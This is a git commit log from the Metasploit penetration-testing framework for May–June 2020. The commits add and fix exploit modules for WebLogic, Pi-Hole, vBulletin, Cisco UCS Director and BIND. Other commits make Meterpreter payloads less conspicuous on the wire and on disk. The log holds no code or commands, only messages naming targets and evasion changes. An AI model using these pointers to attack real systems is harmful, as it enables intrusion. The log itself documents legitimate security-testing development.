Christophe De La Fuente 474d7ebbab Update SMB client
- Add SMB::AlwaysEncrypt option
- Force SMB1 for SMB fingerprint
- Update smb_netshareenumall
2020-06-09 14:18:51 +02:00
Christophe De La Fuente 360d38018c Update exploit/windows/smb/psexec 2020-06-09 14:18:51 +02:00
Christophe De La Fuente 6ab47eb001 Update SMB Client and SimpleClient
- multiple protocol version negotiation
- SMB 1, 2 and 3 by default
- add SMB::ProtocolVersion option to SMB Client mixin
2020-06-09 14:18:51 +02:00
Christophe De La Fuente 79e52d1d4c Fix ms17_010_eternalblue 2020-06-09 14:18:51 +02:00
Metasploit 9b10f28992 automatic module_metadata_base.json update 2020-06-09 06:18:22 -05:00
Adam Galway 9c6781aefb Land #13579, updates iis_internal_ip module info 2020-06-09 12:08:27 +01:00
Metasploit 2beada5c16 automatic module_metadata_base.json update 2020-06-09 05:26:59 -05:00
Adam Galway 16425ba4f9 Land #13468, memcahed extractor now works with LRU 2020-06-09 11:12:54 +01:00
William Vu 3f569507a0 Move Rex::Socket.source_address outside loop 2020-06-08 22:22:11 -05:00
William Vu 5a4fa3705c Use module cache in Evasion#compatible_payloads
See e12b19a507.
2020-06-08 22:22:11 -05:00
William Vu 3436a1c26f Show automatically selected payload in options
By choosing a default payload when the module is used, not run.
2020-06-08 22:22:10 -05:00
OJ ec2d1a886f Update modules to reference COMMAND IDs not strings 2020-06-09 11:38:14 +10:00
OJ d1cfbb0982 Removal of unnecessary local var 2020-06-09 10:34:50 +10:00
OJ 6170f497b6 Fix TLV types and remove ones that no longer exist 2020-06-09 10:34:10 +10:00
OJ 209e463c84 Pass DER-encoed public keys instead of PEM
Just to reduce the more obvious thing going across the wire (ie. no more
"BEGIN PUBLIC KEY"). We now see binary blobs.
2020-06-09 10:34:04 +10:00
h00die 482c4eb247 rubocop iis_internal_ip 2020-06-08 20:25:56 -04:00
h00die 04439e4eb0 more iis internal ip info 2020-06-08 20:24:07 -04:00
Brent Cook 5b69fe9757 reverse_python_ssl has has apparently stabilized in size 2020-06-09 08:59:52 +10:00
Brent Cook 6ec8e942c2 update sizes 2020-06-09 08:59:51 +10:00
Brent Cook 6f7861f17e bump payloads version 2020-06-09 08:59:51 +10:00
OJ 48290ac38a Fix a stupid mistake with core_patch_url
This was not originally ported to an int when it should have been.
2020-06-09 08:58:27 +10:00
OJ 10529c8b7a Fix silly typo in the android extension dispatcher 2020-06-09 08:58:27 +10:00
OJ b9013e32fa Re-remove the filter on the sniffer extension
Not sure why, but this is causing issues. Gross.
2020-06-09 08:58:27 +10:00
OJ 19f771f6ec Fix missed cases of method strings 2020-06-09 08:58:27 +10:00
OJ c08e86434b Fix more specs 2020-06-09 08:58:27 +10:00
OJ 30a23c470b Update payload cache sizes 2020-06-09 08:58:27 +10:00
OJ 616fdaeb60 Fix up packe spec tests 2020-06-09 08:58:27 +10:00
OJ 2ed4fa251f Somehow lost a bang!
Thanks @sempervictus
2020-06-09 08:58:26 +10:00
OJ 1fd771c092 Remove networkpug
This thing doesn't exist any more, so no need to have code referencing
it.
2020-06-09 08:58:26 +10:00
OJ 364b7fac49 Refactor of command ids into separate files 2020-06-09 08:58:26 +10:00
OJ 8070074da3 Almost final refactor of how IDs are handled 2020-06-09 08:58:26 +10:00
OJ d87cb8ca63 Java-related UINT command ID generation 2020-06-09 08:58:26 +10:00
OJ 641f298819 Support removal of TLV strings
This first bit of code aims to add a "map" to the packet functionality
that is able to translate to and from "method strings" to "command ids".
IDs are sent across the wire, and they're now integers. This removes the
need for the strings to be present in things like native meterp, and
hence makes things a little less obvious on the wire, and way less
obvious on disk/in the payload.

Given that we need this functionality in other Meterpreters to support
the removal of strings, some code has been added that can generate
source files for Python, C# and C. This code might move, but for now
it's at least in a spot where it's used the most.
2020-06-09 08:57:40 +10:00
OJ 8b76be283f Merge branch '6.x' of github.com:rapid7/metasploit-framework into 6.x 2020-06-09 08:52:56 +10:00
Jeffrey Martin ef0314ddc3 bump version to 6.0.0 in progress 2020-06-08 17:47:54 -05:00
Metasploit d2f7b3e1c3 automatic module_metadata_base.json update 2020-06-08 17:28:33 -05:00
bwatters-r7 0b051a6f23 Land #13562, iis_internal_ip docs and vprint_status
Merge branch 'land-13562' into upstream-master
2020-06-08 17:18:47 -05:00
Alan Foster 695accbb44 update deprecation notice to have a reason 2020-06-08 23:07:01 +01:00
gwillcox-r7 d4fdaa3858 Land #13573, Minor documentation updates to the CVE-2020-2883 module 2020-06-08 13:42:26 -05:00
Spencer McIntyre 5c0d9203c9 Deprecate the psexec_psh module 2020-06-08 13:29:10 -04:00
h00die 9c14dcc825 spelling 2020-06-08 12:28:53 -04:00
cappetta 30a2441fc4 editorial update - PR feedback 2020-06-08 12:10:47 -04:00
gwillcox-r7 36ebf5a0cc Land #13572, Update activerecord version check for deprecated_constants 2020-06-08 10:38:22 -05:00
cappetta ae12b9530b editorial update 2020-06-08 11:16:20 -04:00
Numan Türle 095b6855e9 Update modules/exploits/linux/http/linuxki_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-06-08 16:03:33 +03:00
Adam Galway 242cb6f35e bumps activerecord version to new rails version 2020-06-08 14:01:20 +01:00
dwelch-r7 7b3e1802b2 Land #13442, Fix winrm login module 2020-06-08 13:02:17 +01:00
numanturle d238c00e1c add target 2020-06-07 20:36:01 +03:00
OJ 4dca9eeb39 Merge remote-tracking branch 'zs/wip/pr/13432' into python-tlv-enc 2020-06-07 09:06:06 +10:00
h00die 02bcd0e3c6 rubocop 2020-06-06 10:30:43 -04:00
h00die 1602d7e975 iis internal ip update 2020-06-06 10:19:29 -04:00
Metasploit d048179ff8 automatic module_metadata_base.json update 2020-06-05 18:37:21 -05:00
bwatters-r7 19050012fe Land #13306, enum_xchat updates and upgrades
Merge branch 'land-13306' into upstream-master
2020-06-05 18:27:06 -05:00
Niboucha Redouane 4654941092 add test modules 2020-06-05 22:11:27 +02:00
Niboucha Redouane 92d8464ac1 Various fixes and enhancements 2020-06-05 21:59:16 +02:00
Spencer McIntyre d2fa21a1ee Make some change for Python version compatibility 2020-06-05 12:04:04 -04:00
Metasploit a5dc25a0b3 automatic module_metadata_base.json update 2020-06-04 15:04:10 -05:00
bwatters-r7 5932e75e1f Land #13384, Add Cisco UCS Director auth bypass, directory traversal(s),
and Cloupia script RCE (CVE-2020-3243 / ZDI-20-540)

Merge branch 'land-13384' into upstream-master
2020-06-04 14:55:01 -05:00
Jeffrey Martin cee82d8e1a Land #13558, Restrict the ruby_smb gem version 2020-06-04 14:48:30 -05:00
Spencer McIntyre 8bfe71148b Restrict the ruby_smb gem version until v2.0 has been tested more 2020-06-04 13:59:41 -04:00
Metasploit 38649950ad Bump version of framework to 5.0.93 2020-06-04 12:02:57 -05:00
Niboucha Redouane 118ada96a2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into GSOC/SQLi_Engine 2020-06-04 17:55:38 +02:00
Metasploit f8a738cab9 automatic module_metadata_base.json update 2020-06-04 10:45:09 -05:00
Shelby Pace 51fca24a38 Land #13545, add drag / drop file upload rce 2020-06-04 10:35:03 -05:00
Shelby Pace 329ba1091f add session_created, fix typo 2020-06-04 10:32:17 -05:00
Adam Cammack 001910473b Land #13448, Fix relative location redirects 2020-06-04 09:17:45 -05:00
Metasploit 42b7c80bcc automatic module_metadata_base.json update 2020-06-04 07:11:01 -05:00
dwelch-r7 b0bec9c3aa Land #13540, Replace OptString with OptPort for RPORT 2020-06-04 13:01:22 +01:00
h00die 0df1a2a502 more error handling 2020-06-04 06:45:29 -04:00
Metasploit 81bd1d88e6 automatic module_metadata_base.json update 2020-06-03 20:03:57 -05:00
William Vu 8ad7b71829 Land #13552, WebLogic CVE-2020-2883 exploit 2020-06-03 19:52:52 -05:00
Metasploit 45fd75871b automatic module_metadata_base.json update 2020-06-03 19:41:19 -05:00
William Vu 464c157ee1 Land #13553, vbulletin_getindexablecontent* fixes 2020-06-03 19:31:18 -05:00
Metasploit 28e3da0340 automatic module_metadata_base.json update 2020-06-03 16:23:25 -05:00
bwatters-r7 26ff9b5b72 Land #13486, fix #13486, add support for python and cmd targets in osx/local/persistence
Merge branch 'land-13497' into upstream-master
2020-06-03 16:13:17 -05:00
h00die 434a1f587f rubocop 2020-06-03 10:44:48 -04:00
h00die a2e385e565 more fixes 2020-06-03 10:42:25 -04:00
cn-kali-team 430e06f218 Simplify code 2020-06-03 20:23:25 +08:00
cn-kali-team dc2e68631a Simplify code 2020-06-03 20:22:50 +08:00
William Vu 64de8c4503 Document directory traversals 2020-06-02 22:13:07 -05:00
William Vu 4a9c2988e2 Base64-encode command payload to avoid escaping 2020-06-02 22:13:07 -05:00
William Vu 32ae47c9a9 Add Cisco UCS Director Cloupia script RCE 2020-06-02 22:13:07 -05:00
Zenofex 8f587e4c6f A user reported that the CVE-2020-12720 modules were not properly handling cases where a table prefix was not used, this guard clauses was redundant in that the one inside the get_table_prefix method is already checking the result of the SQL injection performed. 2020-06-02 19:16:35 -05:00
Niboucha Redouane db4880762a Add common MySQL injection payloads and options 2020-06-03 01:18:19 +02:00
Metasploit 59aac86244 automatic module_metadata_base.json update 2020-06-02 18:07:43 -05:00
bwatters-r7 7dc2bc7f00 Land #13541, Add controls to screen capture module
Merge branch 'land-13541' into upstream-master
2020-06-02 17:57:14 -05:00
h00die ff067088fd docs 2020-06-02 16:24:04 -04:00
Shelby Pace c8ab30a40a add poc code 2020-06-02 14:29:02 -05:00
Shelby Pace d0afec2e99 add documentation 2020-06-02 14:24:58 -05:00
Shelby Pace b7dd7b3f7a remove old version, rubocop 2020-06-02 14:24:18 -05:00
Metasploit 46e7e83a69 automatic module_metadata_base.json update 2020-06-01 17:13:10 -05:00
Spencer McIntyre c7c23a72b1 Land #13512, Add vbulletin_getindexablecontent exploit and auxillary modules 2020-06-01 18:03:08 -04:00
Shelby Pace ffd79ff8cc add exploit for most versions 2020-06-01 09:41:56 -05:00
ChristopherAnders 63713de14c fix self.class msftidy warning and minor syntax 2020-05-31 18:39:50 -07:00
ChristopherAnders 5ef76ff232 Merge branch 'master' into upstream-master 2020-05-31 16:52:03 -07:00
Niboucha Redouane a3d6159374 Fix credential collection in qnap_lfi 2020-05-31 18:50:26 +02:00
h00die a6b6d7b14d make markdown not ruby 2020-05-30 21:21:31 -04:00
h00die 41b512ecda dnd multi file upload rce 2020-05-30 21:07:46 -04:00
cn-kali-team 4deba1994e add status 2020-05-30 16:57:29 +08:00
alanfoster 0c9b6e1721 Add controls to screen capture module 2020-05-30 04:14:16 +01:00
numanturle dd5ed53217 fix missing module
CmdStager included
2020-05-30 06:09:49 +03:00
numanturle f7cdbc5faf author name change 2020-05-30 05:49:22 +03:00
numanturle f8d9ab8d7a add arch 2020-05-30 05:39:52 +03:00
cn-kali-team 1b796aa50b OptString to OptPort 2020-05-30 10:27:48 +08:00
numanturle 558487c9de modify failure 2020-05-30 04:34:00 +03:00
numanturle d5492014a7 fix res nil 2020-05-30 04:29:35 +03:00
numanturle 9ee1718605 fix doc lhost 2020-05-30 04:26:11 +03:00
numanturle e2050393bc modify docs and exploit 2020-05-30 04:23:46 +03:00
noncenz a496680af9 Avoid crash for cachedump method
Guard against potential crash when cachedump extraction method
is used and no keys are in cache
2020-05-29 22:55:39 +00:00
noncenz d450f74b6b Fix crash when cache is empty
Fix crash when a valid cache is found with no data stored.
2020-05-29 22:01:59 +00:00
Metasploit 28f770dce4 automatic module_metadata_base.json update 2020-05-29 16:08:00 -05:00
William Vu f7ae02e08e Land #13538, Cisco CML/VIRL-PE advisory for Salt 2020-05-29 15:41:52 -05:00
William Vu f60e569c1b Add Cisco CML and VIRL-PE advisory to Salt modules
Hat tip @brudis-r7!
2020-05-29 15:24:00 -05:00
numanturle 4921814b85 Add new module linuxki_rce 2020-05-29 18:20:46 +03:00
Zenofex 7bf2a802b1 Check for existance of res in guard clauses through getindexablecontent exploit and aux module. 2020-05-28 20:00:19 -05:00
Alan Foster 334d65a565 Landing #13535, Update gemfile lock for irb runtime dependency 2020-05-29 01:51:14 +01:00
Niboucha Redouane c882a1d014 update the changed MIME type in the documentation 2020-05-29 01:44:32 +02:00
Niboucha Redouane 45c0b3fcc0 Fix formatting of the documentation, and the qnap_lfi module 2020-05-29 01:40:43 +02:00
Alan Foster ce5ad3b01b Update gemfile lock for irb 2020-05-28 22:56:14 +01:00
Alan Foster 7e3f7211f1 Land #13514, Add irb as a runtime dependency 2020-05-28 22:48:31 +01:00
Niboucha Redouane fd2b63f8b2 Add parenthesis in method calls 2020-05-28 23:00:14 +02:00
Niboucha Redouane 7a32ccdb18 Fix code formatting, and other minor issues 2020-05-28 22:31:51 +02:00
Niboucha Redouane 0496e2d00d update References 2020-05-28 22:09:11 +02:00
Niboucha Redouane faebda4a19 Update qnap_lfi, and add module documentation 2020-05-28 22:06:19 +02:00
Niboucha Redouane ab63b05a2a Add the QNAP LFI module, CVE-2019–7192 2020-05-28 21:11:42 +02:00
Metasploit 363ca452d9 automatic module_metadata_base.json update 2020-05-28 13:50:18 -05:00
William Vu 382168550e Land #13522, OptAddressRange CIDR completion fix 2020-05-28 13:36:09 -05:00
cn-kali-team f87594baf1 add email 2020-05-29 01:16:56 +08:00
cn-kali-team a55fef053c add docs 2020-05-29 01:16:29 +08:00
Metasploit 24af5cddca Bump version of framework to 5.0.92 2020-05-28 12:07:01 -05:00
Zenofex e5dcb2e23c Switch to use res.get_json_document from JSON.parse and more cleanup. 2020-05-28 11:16:44 -05:00
Alan Foster f1c492fa2d Land #13470, Pi-Hole < 4.3.3 dhcp static address RCE 2020-05-28 16:57:22 +01:00
Zenofex b8e8606977 Added actions to module for dumpuser/dumpall option (and removed module option) plus misc syntax formatting. 2020-05-28 10:13:18 -05:00
h00die 695f212d26 pihole default payload fix 2020-05-28 09:55:04 -04:00
h00die 513b430f19 no leading 0s on IPs 2020-05-28 08:56:08 -04:00
h00die 2e32c7981d encode token in final stage 2020-05-28 08:22:41 -04:00
h00die 504cd0b4db encode token in final stage 2020-05-28 08:22:04 -04:00
h00die 1acb5ac18a Land #13531, updates to exim ghost markdown docs 2020-05-28 07:31:24 -04:00
h00die ad2c0c29bd ghost doc fixes 2020-05-28 07:20:38 -04:00
Alan Foster 1d3665115c Land #13530, move exim_gethostbyname_bof docs from the wiki to the main repo 2020-05-28 12:11:13 +01:00
h00die 7902a8e677 exim_gethostbyname_bof docs 2020-05-28 06:48:28 -04:00
Metasploit 92be1cc74a automatic module_metadata_base.json update 2020-05-28 04:33:37 -05:00
Alan Foster b5f41636b1 Land #13488, Fix memory leak in ms01_026_dbldecode 2020-05-28 10:23:10 +01:00
OJ 64a0ebbbd2 Remove mimikatz documentation 2020-05-28 14:07:00 +10:00
OJ 752119e7f2 Add a temporary redirect from mimikatz->kiwi 2020-05-28 13:42:27 +10:00
Metasploit fc7952406a automatic module_metadata_base.json update 2020-05-27 22:01:33 -05:00
William Vu 2b7f62dd46 Land #13526, bind_tsig_badtime author correction
Plus additional reference.
2020-05-27 21:50:15 -05:00
William Vu 924a8b8297 Fix incorrect title in auxiliary/dos/dns/bind_tsig
Copypasta. I missed this in f9a2c3406f86469190222ac52dc57556f472e6c9...
for nearly three damn years.
2020-05-27 21:47:37 -05:00
OJ 4d57f52565 Remove the mimikatz extension 2020-05-28 12:34:44 +10:00
Spencer McIntyre d51e9dab2f Update the author and add a reference to CVE-2020-8617 2020-05-27 09:24:47 -04:00
cn-kali-team c4cafeea4c Modify description 2020-05-27 20:13:46 +08:00
cn-kali-team 18d1290bb8 Modify description 2020-05-27 20:09:31 +08:00
cn-kali-team 2158484617 add xshell_xftp_password module 2020-05-27 19:55:44 +08:00
cn-kali-team 1d39112fc7 NetSarang Encryption Decryption parser 2020-05-27 19:52:51 +08:00
kalba-security 99fed02c03 Fix docs based on msftidy suggestions 2020-05-27 07:40:59 -04:00
Spencer McIntyre 129c45e666 Fix Msf::OptAddressRange (RHOSTS) tab completion 2020-05-26 20:07:26 -04:00
Zenofex 7ef7af0d30 Ran msftidy across documentation and made recommended changes to clean up module for MSF pull request. 2020-05-26 17:31:02 -05:00
kalba-security a829f5b628 Merge branch 'wvu-r7-pr/13521' into bolt_authenticated_rce 2020-05-26 17:30:01 -04:00
William Vu b33ebeb6f7 msftidy && rubocop -a 2020-05-26 16:21:09 -05:00
kalba-security 137a825d07 Incorporate suggestions from first review 2020-05-26 16:53:31 -04:00
Metasploit 05dab83614 automatic module_metadata_base.json update 2020-05-26 15:06:44 -05:00
Spencer McIntyre 9df00cd536 Land #13511, Update TinyIdentD 2.2 Stack Buffer Overflow module 2020-05-26 15:56:59 -04:00
Metasploit d983750f01 automatic module_metadata_base.json update 2020-05-26 13:19:56 -05:00
Adam Cammack a1f2820673 Land #13477, Fix syntax in wmiexec.py for Python 3 2020-05-26 13:07:01 -05:00
kalba-security 393c44a48d Add bolt_authenticated_rce linux/http exploit module and docs 2020-05-26 14:03:44 -04:00
William Vu 0a5fb8fc44 Land #13500, unloadable modules fix for search-use 2020-05-26 12:12:53 -05:00
Metasploit a4b024bfbd automatic module_metadata_base.json update 2020-05-26 11:34:50 -05:00
Spencer McIntyre 1c19225fd4 Land #13518, Adding DoS exploit for BIND [CVE-2020-8617] 2020-05-26 12:26:32 -04:00
Spencer McIntyre 6218817034 Make some minor markdown and grammar changes 2020-05-26 12:10:49 -04:00
Spencer McIntyre 37e7e4ff59 Land #13460, Add pop3 capture docs 2020-05-26 09:46:18 -04:00
Spencer McIntyre ca6689cdf4 Dedent the pop3 testing script in the module docs 2020-05-26 09:45:46 -04:00
shutingrz 517a6c9cb3 Remove space 2020-05-26 12:36:05 +09:00
shutingrz 3eab2f1a17 Add Document of bind_tsig_badtime 2020-05-26 12:09:10 +09:00
shutingrz 7ce125f182 Adding DoS exploit for CVE-2020-8617 2020-05-26 11:36:18 +09:00
Sophie Brun 90853234eb Remove uneeded Syntax changes 2020-05-25 09:32:38 +02:00
Alexandre ZANNI 2f44527c01 add missing irb dependency 2020-05-24 16:26:23 +02:00
Zenofex e7d7ddc213 Initial push of vbulletin_getIndexableContent auxillary and exploit modules + documentation. 2020-05-23 03:20:46 -05:00
Brendan Coles ad05cf7870 Update TinyIdentD 2.2 Stack Buffer Overflow module 2020-05-23 04:43:44 +00:00
Metasploit 68c4ef34a4 automatic module_metadata_base.json update 2020-05-22 17:37:11 -05:00
William Vu f52beb1c8d Land #13508, Netsweeper/myLittleAdmin author fixes 2020-05-22 17:26:03 -05:00
William Vu d6aea635c7 Update authors in Netsweeper/myLittleAdmin modules
Edits for accuracy and precision.
2020-05-22 17:05:12 -05:00
Metasploit 46fab4e8f5 automatic module_metadata_base.json update 2020-05-22 15:45:35 -05:00
bwatters-r7 cb06a4e731 Land #13455, Pi-Hole < 3.3 whitelist RCE
Merge branch 'land-13455' into upstream-master
2020-05-22 15:35:16 -05:00
Metasploit bc5365a3fa automatic module_metadata_base.json update 2020-05-22 11:49:29 -05:00
William Vu 4293f8f59d Land #13503, BASE_DN and ROOT_KEY for vmdir/Salt 2020-05-22 11:35:14 -05:00
William Vu 06f9099d7f Add BASE_DN and ROOT_KEY to vmdir and Salt modules 2020-05-22 11:16:58 -05:00
Metasploit cf227f4e9d automatic module_metadata_base.json update 2020-05-22 11:03:00 -05:00
Spencer McIntyre b49dd37614 Land #13494, Add Plesk/myLittleAdmin ViewState .NET deserialization pre-auth RCE 2020-05-22 11:53:41 -04:00
Metasploit 829fc9cf09 automatic module_metadata_base.json update 2020-05-22 10:17:38 -05:00
bwatters-r7 2d56931663 Land #13287, CVE-2017-15889 Synology DSM < 5.2-5967-5 authenticated root exploit
Merge branch 'land-13487' into upstream-master
2020-05-22 10:07:50 -05:00
William Vu afe7ef5d9a Bump WfsDelay for first exploit attempt 2020-05-22 09:32:22 -05:00
William Vu e471efa399 Whitelist :certutil and :vbs CmdStagers
These worked for @smcintyre-r7 on Windows Server 2019.
2020-05-22 09:24:16 -05:00
William Vu 16886fa41e Move generate_viewstate_payload to mixin 2020-05-21 18:37:13 -05:00
William Vu fe2ab51c8f Update module doc 2020-05-21 18:37:13 -05:00
William Vu d1a07e9403 Use ViewState mixin in module 2020-05-21 18:37:13 -05:00
William Vu c50e242151 Add ViewState mixin 2020-05-21 18:37:11 -05:00
William Vu 11030dff84 Add CVE references (they weren't there before) 2020-05-21 18:12:57 -05:00
William Vu 55318baad5 Add module doc 2020-05-21 18:12:57 -05:00
William Vu 889a4cd6e0 Add Plesk/myLittleAdmin ViewState deserialization 2020-05-21 18:12:57 -05:00
Metasploit d9c2d207ea automatic module_metadata_base.json update 2020-05-21 16:48:40 -05:00
h00die 79f0c07bab add docs for 410 2020-05-21 17:43:46 -04:00
h00die c1996d58ed add forcexploit 2020-05-21 17:39:54 -04:00
bwatters-r7 25fed982f3 Land #13498, CVE-2017-9554 Synology Username Enumerator
Merge branch 'land-13498' into upstream-master
2020-05-21 16:38:52 -05:00
Metasploit 379345f498 automatic module_metadata_base.json update 2020-05-21 16:34:11 -05:00
Spencer McIntyre ffb681cb79 Land #13485, Update eyesofnetwork_autodiscovery_rce with SQLi auth bypass 2020-05-21 17:24:23 -04:00
Spencer McIntyre ecd3c0f820 Minor doc changes, add module notes and SQLi progress output 2020-05-21 16:31:45 -04:00
Metasploit 3b2290e497 Bump version of framework to 5.0.91 2020-05-21 12:03:52 -05:00
Adam Cammack 4c47ea5510 Ignore unloadable modules in search-after-use
The new `use` option is not listed in the help output for now, since I
do not think that it provides much end-user value.
2020-05-21 09:47:57 -05:00
h00die e095bb496f 36 > 31 2020-05-21 10:08:04 -04:00
Brent Cook aa12b9847a Land #13496, add a test for stderr output to cmd_exec tests 2020-05-21 08:21:38 -05:00
Brent Cook 7c9f261347 Land #13499, fix Java cmd_exec stderr output handling 2020-05-21 08:19:33 -05:00
h00die 50ed879d81 advanced mode docs 2020-05-21 09:14:45 -04:00
Brent Cook c7c94c3446 fix Java cmd_exec stderr output 2020-05-21 08:05:15 -05:00
h00die 354b94f7d8 rubocop and tidy 2020-05-21 08:30:06 -04:00
h00die faed681fca msg 3 2020-05-21 08:25:01 -04:00
Tim W d90b822356 fix #13486, add support for python and cmd targets in osx/local/persistence 2020-05-21 20:12:48 +08:00
h00die c9f344ee5d synology un enum 2020-05-21 08:10:00 -04:00
Tim W 3fcc7e61b2 bump metasploit-payloads to 1.4.2 2020-05-21 15:23:31 +08:00
Tim W 78bd74eaec add a test for stderr output to the cmd_exec tests 2020-05-21 14:47:12 +08:00
Metasploit c3e998f8df automatic module_metadata_base.json update 2020-05-20 23:38:33 -05:00
William Vu 8473662e32 Land #13463, Oracle WebLogic CVE-2020-2555 exploit 2020-05-20 23:21:07 -05:00
William Vu 0e6682edf4 Land #13493, fixes for ThinkPHP and ManageEngine 2020-05-20 23:15:00 -05:00
William Vu 12d4ad68e3 Fix things in ThinkPHP and ManageEngine exploits
Current pattern is print_good instead of vprint_good for this particular
message directly or indirectly called by execute_command.

CmdStagerFlavor is checked at the top level, but it is also checked per
target. Moving this to where it's more appropriate.
2020-05-20 22:47:03 -05:00
kalba-security 7c2c227ea0 Improve version checks, remove comments from previous testing 2020-05-20 18:06:42 -04:00
bwatters-r7 e6e47ed890 Land #13262, Add Python stager
Merge branch 'land-13262' into upstream-master
2020-05-20 16:22:48 -05:00
Metasploit 671f589341 automatic module_metadata_base.json update 2020-05-20 13:46:08 -05:00
Spencer McIntyre ec3967cec3 Land #13492, Fix punctuation typo in exchange_ecp_viewstate documentation 2020-05-20 11:28:08 -04:00
William Vu 655088bb0d Fix punctuation typo in exchange_ecp_viewstate 2020-05-20 09:47:11 -05:00
h00die ad4e6bf7da fix docs 2020-05-19 20:32:32 -04:00
h00die 4721e605d0 5.2 root exploit 2020-05-19 20:19:51 -04:00
Alan Foster bfe47302cf Fix memory leak in ms01_026_dbldecode 2020-05-20 00:48:26 +01:00
h00die e5da35d579 commit for help 2020-05-19 18:40:29 -04:00
h00die cbd0943024 commit for help 2020-05-19 18:39:49 -04:00
Shelby Pace abff1cd731 change true to false 2020-05-19 14:59:47 -05:00
Shelby Pace 4a1d6f362c remove eol spaces from doc 2020-05-19 14:52:34 -05:00
Shelby Pace 378fe767b5 randomize class name 2020-05-19 14:35:36 -05:00
Shelby Pace 8f43ffa8e3 change title 2020-05-19 13:59:27 -05:00
Shelby Pace 6657d3480e remove returns, add autocheck 2020-05-19 13:47:39 -05:00
Shelby Pace 837f307740 rubocop fixes 2020-05-19 13:12:23 -05:00
Shelby Pace df3e8f2c0e fix docs 2020-05-19 12:32:52 -05:00
Shelby Pace d86e008914 Update modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:29:56 -05:00
Shelby Pace c51a32eaf2 Update modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:29:41 -05:00
Shelby Pace 5857c80f47 Update modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:29:17 -05:00
Shelby Pace 4ff4676ab9 Update modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:28:42 -05:00
Shelby Pace 32386e0947 Update modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:27:38 -05:00
Shelby Pace 67f4cc8fb6 Update documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:19:05 -05:00
Shelby Pace ec7ff5efe0 Update documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:18:58 -05:00
Shelby Pace aea7eb9304 Update documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:18:46 -05:00
Shelby Pace 3073479dc8 Update documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:18:38 -05:00
Shelby Pace ddc549e11d Update documentation/modules/exploit/multi/misc/weblogic_deserialize_badattrval.md
Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>
2020-05-19 12:18:29 -05:00
kalba-security 6d72fe4854 Update eyesofnetwork_autodiscovery_rce module and documentation 2020-05-19 11:48:48 -04:00
Spencer McIntyre 3b30b53772 Land #13465, Prioritise incomplete packets in the dispatch loop
Fixes #7403, a race condition where requeued packets are processed out
of order leading to corrupt protocol negotiations.
2020-05-19 10:37:48 -04:00
Spencer McIntyre 5bb109c41a Add a dlog line when an incomplete packet is requeued 2020-05-19 10:37:26 -04:00
cn-kali-team 3aa48528ed sorry Forget about it 2020-05-19 21:38:21 +08:00
OJ aac9173497 Update the changes with some commentary
I renamed the queues as well.
2020-05-19 08:07:48 +10:00
Joe Testa 5508bda29e Moved module into exploit/windows/local. Added documentation. 2020-05-18 17:09:10 -04:00
Metasploit b30a52a229 automatic module_metadata_base.json update 2020-05-18 10:12:47 -05:00
William Vu 690172e4ac Land #13443, descriptions for auxiliary actions 2020-05-18 10:03:03 -05:00
Metasploit 662ea8b4a4 automatic module_metadata_base.json update 2020-05-18 07:53:15 -05:00
Alan Foster c019c06505 Land #13445, Pi-Hole <= 4.4 root RCE CVE-2020-11108 2020-05-18 13:41:57 +01:00
cn-kali-team 930a175830 Replace multibyte 2020-05-18 16:30:40 +08:00
cn-kali-team ae3601cee1 Add Unicode support 2020-05-18 16:30:13 +08:00
cn-kali-team cb4bf18125 Replace multibyte 2020-05-18 16:29:34 +08:00
Clément Notin 33e35bae7c Add descriptions to auxiliary modules Actions
And a little formatting
Closes #13403

Update modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/backupexec/dump.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/dos/android/android_stock_browser_iframe.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/admin/tikiwiki/tikidblib.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/smb.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/telnet.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/capture/vnc.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/fakedns.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/server/tftp.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/dos/http/gzip_bomb_dos.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/dos/http/ibm_lotus_notes.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/dos/http/ibm_lotus_notes2.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

Update modules/auxiliary/dos/http/webkitplus.rb

Co-authored-by: wvu-r7 <wvu-r7@users.noreply.github.com>

